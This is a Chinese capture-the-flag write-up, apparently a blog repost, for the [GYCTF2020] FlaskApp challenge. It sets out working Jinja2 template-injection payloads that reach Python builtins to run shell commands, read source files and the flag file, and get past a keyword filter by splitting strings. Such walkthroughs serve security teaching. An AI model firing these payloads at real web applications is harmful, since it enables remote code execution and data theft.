当前位置: 代码迷 >> 综合 >> 第六十二题——[GYCTF2020]FlaskApp
  详细解决方案

第六十二题——[GYCTF2020]FlaskApp

热度:36   发布时间:2023-11-19 19:31:55.0

题目地址:https://buuoj.cn/challenges

解题思路

第一步:进入题目,base64加密页面,题目给出flask提示,猜测使用模板注入

在这里插入图片描述

第二步:构建漏洞

在加密页面将{ {7+7}}进行base64加密后,将密文使用解密页面解码,发现执行了7+7算法,确定了存在模板注入漏洞。
在这里插入图片描述
在这里插入图片描述

第三步:获取flag

  1. 使用{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{ { c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}命令查看根目录下所有文件,期望获取到flag所在地,结果发现执行失败
    在这里插入图片描述

  2. 使用{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{ { c.__init__.__globals__['__builtins__'].open('app.py','r').read()}}{% endif %}{% endfor %}命令读取app.py文件,查看过滤规则,发现os,flag等关键字被屏蔽
    在这里插入图片描述

  3. 利用字符串拼接,以及listdir函数获取根目录下的文档,使用命令:{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{ { c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}
    在这里插入图片描述

  4. 获取this_is_flag.txt文档内容,使用{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{ { c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt','r').read()}}{% endif %}{% endfor %}
    在这里插入图片描述